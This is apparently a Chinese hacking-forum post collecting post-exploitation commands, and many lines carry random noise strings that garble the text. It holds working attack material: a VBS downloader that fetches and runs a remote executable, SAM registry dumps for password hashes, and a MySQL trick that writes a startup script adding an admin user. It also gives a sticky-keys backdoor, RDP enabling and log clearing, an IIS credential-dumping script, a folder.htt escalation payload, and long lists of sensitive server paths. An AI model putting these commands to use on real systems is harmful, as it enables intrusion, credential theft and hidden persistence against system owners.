$ z5 X6 N" |  G* uid=1001(argp) gid=1001(argp) groups=1001(argp)
- ^7 _2 p8 b* L# b; ?' w* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
4 T0 G9 q$ S& ^+ z- Z7 |3 @0 `*
calling nmount()
9 h# k; \" |: m0 O% G
（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
7 H9 f' _. t1 X3 |" [) q——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
: I: c0 n3 K; G: C————————————————————————————
2 ^8 j7 O7 D( @* O1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
6 e! R' ~- ]3 a2 Dalzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
7 P- L. R1 x# o8 }$ D{
注：
* ]& U# `$ |8 H3 Y+ \/ j; C9 w8 ^关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
' M( ]" k" s1 }' d3 R$ R那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  

提权先执行systeminfo
token 漏洞补丁号 KB956572
Churrasco          kb952004
命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
; n6 p! c  B, U+ {) m9 S2、收集系统信息的脚本  
" ^8 t" K* T) |: d1 nfor window：

, A% G) L! n! C) x@echo off
! G* _2 U7 i( r) E/ \+ H! ]' Cecho #########system info collection
5 x+ K: c+ h' B1 q  s" N: i& S; a6 M% tsysteminfo
ver
2 a& a& R/ Y6 m/ ]hostname
net user
net localgroup
. Q; i2 C' x9 T1 {4 H( vnet localgroup administrators
net user guest
2 N* f5 Q6 M3 Fnet user administrator

& I7 Y+ `5 j  e+ y. Qecho #######at- with   atq#####
echo schtask /query

0 D6 \1 [% K% S) vecho
echo ####task-list#############
tasklist /svc
1 P& H: w7 g9 v2 @% B2 a; necho
echo ####net-work infomation
2 a' A& Y" d1 d$ c* T0 `7 cipconfig/all
route print
* P, d' o' \2 R7 warp -a
3 c& ]* c+ D8 Anetstat -anipconfig /displaydns
" ]2 w9 `) x. q- k. |% _! Z8 yecho
4 S! |9 ]+ h0 t+ `$ [- Q  c' Q6 secho #######service############
- B* j, n+ Q4 D3 b) rsc query type= service state= all
5 Y8 L$ L8 ~4 Becho #######file-##############
cd \
( S/ c% a, L1 q9 k% F' X& F% Y$ y: atree -F
for linux：

: \3 p' q. M* _0 u: J" W1 r#!/bin/bash

echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
) G' o+ G3 x/ h" G" N! Mcat /proc/meminfo
echo
; o' R% H7 w3 v2 s  hcat /proc/cpuinfo
echo
! n1 C7 c, W7 Z0 Y$ D1 D. s& U$ Brpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null

. u+ f5 \- |; }& `
echo 'u'r id is' `id`
echo ###atq&crontab#####
/ d2 n. c* L6 y9 m; w5 @' Batq
" Y/ P* w  Q' }& f; P" Q1 {crontab -l
echo #####about var#####
$ r/ k! ~% G- `0 D0 pset

# k3 {8 I& Z6 b& N9 Gecho #####about network###
1 I5 e& v3 L  z& C0 E' Y####this is then point in pentest,but i am a new bird,so u need to add some in it
3 z" A# o. {8 d& F- ~6 ]  }cat /etc/hosts
) G' K5 w6 E+ r! l# whostname
" ^7 O7 n' g( L1 hipconfig -a
arp -v
echo ########user####
cat /etc/passwd|grep -i sh
* |, ^0 l5 q1 B2 v% x
. f( U9 l2 m! {1 B/ f4 Recho ######service####
" |9 a6 T: E+ F# f2 L0 schkconfig --list

/ u/ ?- {4 p! E9 cfor i in {oracle,mysql,tomcat,samba,apache,ftp}
0 `2 Z# ]8 x/ w9 K* b: I  E$ U( }+ Fcat /etc/passwd|grep -i $i
done
7 Z. {: ]) P& @; V( _0 r2 `! @
locate passwd >/tmp/password 2>/dev/null
sleep 5
locate password >>/tmp/password 2>/dev/null
sleep 5
& T5 q7 H8 N4 Blocate conf >/tmp/sysconfig 2>dev/null
/ u( H) ]" m4 v( m6 f! L$ Fsleep 5
locate config >>/tmp/sysconfig 2>/dev/null
sleep 5
5 z5 N! E1 t. G& f2 [  l2 K
1 X8 C8 d9 {$ T8 G' J# D###maybe can use "tree /"###
echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
8 C1 A: F: {1 y7 Lrm -rf /tmp/getmail /tmp/password /tmp/sysconfig
+ S! p' ]! Y( {' a- ^& _6 }, h——————————————
: ^% j7 G/ u8 |( F! f1 E3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
  h( g( R4 T: S5 r5 \               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
- E1 B2 [# C) {) I接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
7 U. u( I' y1 V7 f5 P7 h# `! @hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
7 ?9 t6 x, S6 f. U. u) p4、vbs 下载者
" }. E1 G5 O& `' F: m& v* s6 J1
0 [. T0 k  d$ a& s  B" R# i5 W+ ]echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
5 w' F9 i( G/ Recho sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
0 v! U9 A4 I1 }echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
: I' N' a! V3 q1 q; X1 r3 qecho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs

2
7 `/ d' B3 q) [' v( HOn Error Resume Nextim iRemote,iLocal,s1,s2
8 S5 C5 j' x, _8 F  ]iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
0 m9 ^0 x0 n7 N  M4 es1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

! v7 [; p5 W6 U" E( Kcscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
: j3 S% c' ~5 [/ @
, z- o8 a8 i- Z, c" s( G当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
% N* g5 A/ D& W3 x$ z——————————————————
3 B5 `/ m' j6 }+ ^' a5、
* J6 v2 D6 x' V8 x3 f; |1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
& X- ?5 s( o' g1 s5 H2.开启XP&2003终端服务
/ x, F* E, V+ ^4 a* x* hREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
2 z) N) r$ _" N1 {3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
! S* Y; ]' M) s; k- a9 hREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
3 \( B2 d9 A* T. T2 a, yREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
1 y/ m) V4 r& Z( f' ^: x+ s1 c0 N6、create table a (cmd text);
6 ]( A- j' ^/ @8 M6 I# u8 T/ a4 u0 I# z6 minsert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
" V, b! h# N, |insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
' c7 Z& C1 v+ Z8 C8 M2 K- n! j7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
: O7 Y. F3 O0 }9 S_____
8、for /d %i in (d:\freehost\*) do @echo %i

9 h: W* K3 J, p列出d的所有目录
  r% L/ F* |! f* [; h* j" C  
  for /d %i in (???) do @echo %i

7 z0 c. e* y1 [" Y把当前路径下文件夹的名字只有1-3个字母的打出来
+ ~. O) A: T# Z' p
2.for /r %i in (*.exe) do @echo %i
  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

3.for /f %i in (c:\1.txt) do echo %i
/ Z7 W8 U. Z* k  i  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

4 E$ @1 P( q0 R* ]( c/ H  delims=后的空格是分隔符 tokens是取第几个位置
+ t/ Q  B3 N, P——————————
●注册表:
1.Administrator注册表备份:
) O. y' c. \: Y' R& P* Z# qreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

2.修改3389的默认端口:
; k$ z9 E( W+ {HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.

3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg

% k$ G& a# [: `% Y- h& P6 j5.禁用TCP/IP端口筛选(需重启):
, d! m2 h* _( {1 l, v) a  SREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
% j2 M: O3 D0 \* u1 z7 G6 L& h2 s2 _7 ]
0 \$ ]+ p. \8 |7 B0 J; y6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
netsh ipsec dynamic set config ipsecexempt value=0
6 `+ S1 w. ~' [. x2 _
7.停止指派策略"myipsec":
4 N0 N% j  Z: F5 @" x; c) S7 w1 Cnetsh ipsec static set policy name="myipsec" assign=n

) p+ y: R5 Q# r" p% Q# Y) n8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
$ p1 m: v, T% P/ g! J
9.另类方法抓系统密码HASH
* e( B3 K- a% @0 Treg save hklm\sam c:\sam.hive
9 l2 Z) F6 d- y8 Kreg save hklm\system c:\system.hive
" V: X, ^& [" B' n9 E: Ereg save hklm\security c:\security.hive

10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
0 ~9 ?: U5 y4 `0 ?
0 _7 C4 @* C5 s: xreg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
星外vbs(注：测试通过，好东西）
  q- m% ?8 |! L: wSet ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
3 B, B  \, M* p& B" U) o0 kchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
2 ?2 W( L# h* H) iif IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
& {$ [0 c: X, Q7 ]+ rmsgbox("error!")
wscript.quit
end if
9 A( Z9 g* |) x" E) yserverbindings=IIS.serverBindings
% M# b2 \+ t7 d' j) N! jServerComment=iis.servercomment
( r  q9 V" |5 B$ bset IISweb=iis.getobject("IIsWebVirtualDir","Root")
8 c  b; s7 q" [8 T! I+ Ouser=iisweb.AnonymousUserName
3 l+ M$ |) U8 C3 o! mpass=iisweb.AnonymousUserPass
2 @" c0 L: y4 P6 fpath=IIsWeb.path
' J+ s% r+ Y: B) R0 ]& \2 |list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
; a; ?6 l6 Y. b6 p. G' uwscript.echo list
Set ObjService=Nothing
$ V4 n+ H2 g7 i* c! g2 q4 Ywscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
. X$ y, b: V  @# X+ T1 y1 l复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
1 N! {" Z, k3 A! L2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
( F. o5 e# O' V' K- Q& [% N将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
& v4 X/ k7 i4 w" r9 v7 z0 d, P然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
5 L+ S, d+ N0 ^/ S/ s" a4 l5 X 原因是ASP大马里有这样的代码：（没有就没事儿了）
% f) H7 J8 d$ S8 C3 o( g url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
4 ^$ b, R; e: J* ?! @! I 解决方法
url=request.severvariables("path_info")
6 j9 ^2 V9 ~8 n8 H9 [6 r path_info可以直接呈现虚拟路径 顺利解析gif大马
) N! S( F8 l9 R1 T  c
==============================================================
LINUX常见路径：

/etc/passwd
/etc/shadow
/ c8 ?) P3 w8 f4 j! F7 ]( _/etc/fstab
/etc/host.conf
/etc/motd
/etc/ld.so.conf
  K( w2 w/ J. ^  w' _. ?4 k# l* @% M/var/www/htdocs/index.php
0 o( d" [4 n- i( a6 k# R& e/var/www/conf/httpd.conf
: [* ?" D! X: [8 ]- S) @# n6 D/var/www/htdocs/index.html
) M) _3 Q; ?  T/var/httpd/conf/php.ini
! r8 |, h+ s  K9 R7 S0 Y/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
1 M, R# c" w' m* L3 L5 D/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
  S6 K& |- u" B3 I4 a5 A. E/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
$ i, L' m3 b- O8 M3 R/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
) v7 X% c" v7 [- F3 ~0 O/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
! p* @- |: ]7 }3 C4 n7 _/tmp/apache/htdocs/index.php
) k0 p) E1 l7 y/ m, [* V7 |" h! |- J/etc/httpd/htdocs/index.php
5 ^& \# y9 W, J+ J5 H$ w- X$ l/etc/httpd/conf/httpd.conf
' j* J  g: m* y$ p  [8 o% I/etc/httpd/htdocs/index.html
/www/php/php.ini
/www/php4/php.ini
! p) \1 [2 D$ U5 w9 a/www/php5/php.ini
; ]1 N' U/ y+ R) b: y: A8 A/www/conf/httpd.conf
$ e6 O4 H' o! |1 M5 z/www/htdocs/index.php
/www/htdocs/index.html
* r# g8 a# g" S' r/usr/local/httpd/conf/httpd.conf
  u; u% H+ [. s- K3 M* F2 l4 ^. E/apache/apache/conf/httpd.conf
8 ?. q8 A+ ?; L1 f0 M/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
" p4 S. ?; r+ d; B: t7 |/etc/apache2/apache.conf
/ ]1 `# z. u) Y* }$ J/etc/apache/httpd.conf
" x+ V$ |& y' |$ D, Q/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
" N/ s7 H8 b/ b9 ^9 x& m- N/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
4 }$ T1 N+ @" D* _2 `/etc/httpd/conf.d/php.conf
  h* E+ E  I% f+ g/etc/httpd/conf.d/httpd.conf
  o- n4 a, f  j2 k: i; J/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
2 M1 y+ G6 b2 X; w; N" X/ M) k/etc/httpd/logs/access_log
; {! @( {  J$ y- Z, w7 k  z/etc/httpd/logs/access.log
% O$ X8 [: e) V; ]' [/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
3 Z0 c3 W9 d2 ^9 @  R$ x" w1 H/var/log/apache/error_log
/var/log/apache/error.log
! @9 z8 Z4 i5 V4 w/var/log/apache/access_log
9 P6 a0 O+ f. `+ @/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
* Q' H8 E3 {, X5 y/var/www/logs/error_log
/var/www/logs/error.log
2 o- W4 i* b* [! U8 ]3 Z/var/www/logs/access_log
' k' P. P& i. U" g3 ]9 C/ y/var/www/logs/access.log
3 b* P9 U0 ]/ F* n7 G, H+ @$ m/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/ p! @  F! m9 f/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
- B9 y6 o7 i# G0 b  L/var/log/access_log
/var/log/access.log
  x. R- l- z7 x6 A/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
) k" P. d. R7 a& s- n/etc/php.ini
/bin/php.ini
/etc/init.d/httpd
/etc/init.d/mysql
* f  c+ R7 [& F/etc/httpd/php.ini
; U4 v2 a0 Z! {: y2 I6 x% M/usr/lib/php.ini
- {; q6 x0 O- i/usr/lib/php/php.ini
/usr/local/etc/php.ini
5 l; O/ l6 r- I3 q( c" R/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
+ A% n" ?1 f" K4 b8 [/usr/local/php4/lib/php.ini
: k( V0 Z1 R5 t% c8 y" Z/usr/local/php4/php.ini
3 R7 L: _0 Q6 |  E7 `  N/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
7 M9 E5 L* z2 t& N* J/usr/local/php5/php5.ini
  c/ b  \5 h$ c- b/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
1 }  V  i$ S6 T  M4 R/etc/php5/apache/php.ini
9 r# `" i% A) ~9 e% d/etc/php5/apache2/php.ini
. i& d) m3 Z0 n3 H3 z4 T/etc/php/php.ini
6 Q  G! p( S* T( O; G# j; b: D9 U/etc/php/php4/php.ini
/etc/php/apache/php.ini
& u; }7 Q/ h" B( [/etc/php/apache2/php.ini
/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
8 N$ h; `& a# R8 s+ b) q$ w/etc/php/cgi/php.ini
. O# v3 Z' Q. c/etc/php4/cgi/php.ini
1 C3 C3 {! {( M) t: r) Q6 u/etc/php5/cgi/php.ini
8 x5 Z- f$ C  U! j9 C& U/php5/php.ini
/php4/php.ini
3 K! y8 q2 L, `3 J, @/php/php.ini
/PHP/php.ini
4 D8 L- s7 c1 k' D) h7 |( V# N8 h1 l- s/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
) z2 d) T- N# d# y9 t( W$ x+ n/NetServer/bin/stable/apache/php.ini
, n, j" R. x  y, J" |# B/home2/bin/stable/apache/php.ini
' e4 O9 M2 T9 o" b/home/bin/stable/apache/php.ini
: F* J( q" \: D' \/var/log/mysql/mysql-bin.log
/var/log/mysql.log
  \3 }" k, h. A. K/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
& m* z+ R+ B; O! r  p- z. g/var/mysql.log
/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
: {7 M0 c9 P- u# w+ R8 m$ y# P/etc/my.cnf
. M; C  x8 l# m8 R* C$ _0 Q/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
' e3 o! C* t3 Z6 Z: [  \/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/ V/ U1 M5 y5 S' A; d/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini

8 s# `& Y* ?' f$ d9 y; x4 W  _2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

c:\windows\php.ini
c:\boot.ini
c:\1.txt
c:\a.txt
) O$ E) C7 U0 K% S/ P' J, d# E
c:\CMailServer\config.ini
3 H# j+ E7 D" G0 G( vc:\CMailServer\CMailServer.exe
+ ^, _' }/ q- ]# f5 Hc:\CMailServer\WebMail\index.asp
# ], g% L( E; V( R, q/ c6 fc:\program files\CMailServer\CMailServer.exe
6 ~# e" {0 ]6 S: M, j6 U" [( Z% Tc:\program files\CMailServer\WebMail\index.asp
: c) r. a3 z% y! DC:\WinWebMail\SysInfo.ini
# S' \9 y4 w2 s* A6 DC:\WinWebMail\Web\default.asp
7 p: v+ u4 w" n, TC:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
9 ~9 b1 c& ]8 m1 T; J1 K! ]- z- KC:\WINDOWS\7i24tool.exe
) H% j; u  I3 ?0 o  c
+ O) c& ^1 K8 `c:\hzhost\databases\url.asp

c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

& X3 b) W, d: s* \' Q* {# Y: D; r. [C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
% W$ Y  {1 l6 R# cc:\www\index.html
c:\WWWROOT\index.html
& _) y2 P: `% A! o8 }2 T8 Zc:\website\index.html
c:\web\index.asp
( V5 E$ P* O) {4 k8 W( qc:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
1 Z$ o" {2 B( h8 Q  j1 Oc:\www\index.php
c:\WWWROOT\index.php
c:\WWWsite\index.php
2 \7 ]6 C- I/ K$ l4 uc:\web\default.html
$ m5 a9 C! Z8 Dc:\www\default.html
6 [! O0 `7 L; m; ~( |c:\WWWROOT\default.html
c:\website\default.html
. p- t& C0 W( @: z, z7 \c:\web\default.asp
c:\www\default.asp
c:\wwwsite\default.asp
, Z1 ?: f) q" \* L9 M5 g1 s0 Hc:\WWWROOT\default.asp
1 ~3 u2 G- b5 @/ Nc:\web\default.php
c:\www\default.php
# e$ @& P1 Z0 ac:\WWWROOT\default.php
! I1 [! _% O! F" Y1 |- ~* k8 ?c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
0 j% }) t+ [9 j& cc:\windows\notepad.exe
c:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
$ I& e* k' s" I/ D( qC:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
0 O& }+ v& X/ V2 O" u" SC:\Program Files\360Safe\360safe.exe
! x& z" G, V, a2 W$ ^$ X! wC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
c:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
9 U. @0 o, d" w; R) @& E- k: kC:\Documents and Settings\Administrator\My Documents\Default.rdp
3 s. j9 p5 t! j( VC:\Documents and Settings\Administrator\Cookies\index.dat
4 _: k7 k8 B% a# S! V6 BC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
7 G! |, _9 A; X  l1 x1 i% aC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
) x# R" X" [" j6 QC:\Documents and Settings\Administrator\My Documents\1.txt
. z! H8 m$ J8 w9 G' sC:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
7 ]5 m6 p" i# y# G5 B  sC:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
- B& D+ |6 p- |7 @" f0 KE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
1 y3 [  n) `4 ^5 @( oC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
/ R. V1 D2 a; ?5 }; y* I9 PC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
4 e7 ^- a7 G+ M1 D; h: E* WC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
8 [, L( M; r3 x' M, m1 U  aC:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
  g: z3 n1 v1 r6 y9 B* `C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
% V) \9 V' D7 J2 N; e# E$ ?C:\Program Files\MySQL\MySQL Server 5.0\COPYING
5 W) V! T3 v$ V4 |* A0 e: ?C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
, v# `0 W4 N8 A4 L" o  vc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
; {0 Q4 u  k' @& I2 JC:\Program Files\Oracle\oraconfig\Lpk.dll
$ a* K, U$ a; UC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
) g& `0 z' G  U. t7 ?C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
4 P+ ~7 e) k- `C:\WINDOWS\system32\config\default.LOG
) d" \" r3 X1 m. \C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
4 v/ b7 {( w0 l/ M+ H; d% m" M1 A# Hc:\CMailServer\config.ini
7 T& t! V) l& Q3 ^! R* }; _5 k% Z; Lc:\program files\CMailServer\config.ini
) N* U$ m( t& I0 }8 Zc:\tomcat6\tomcat6\bin\version.sh
4 k! B* U! Y' @2 a, P2 `5 Wc:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
( \  |& }' S8 F  W: O6 Tc:\program files\tomcat6\bin\version.sh
- w/ [- Z6 G& DC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
, U( V+ H% R- |) Qc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
. f7 u6 m8 s0 ]) s0 Mc:\Apache2\Apache2\bin\Apache.exe
6 F* `+ t9 n$ ~: n/ ac:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
0 d1 q9 ~; _6 d" a; D  N( j% xC:\Program Files\Apache Group\Apache2\bin\Apache.exe
; W0 d0 b. h# |( J/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
9 E+ S" ^8 S% E5 R. Y1 ]/ d$ K% l! v/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
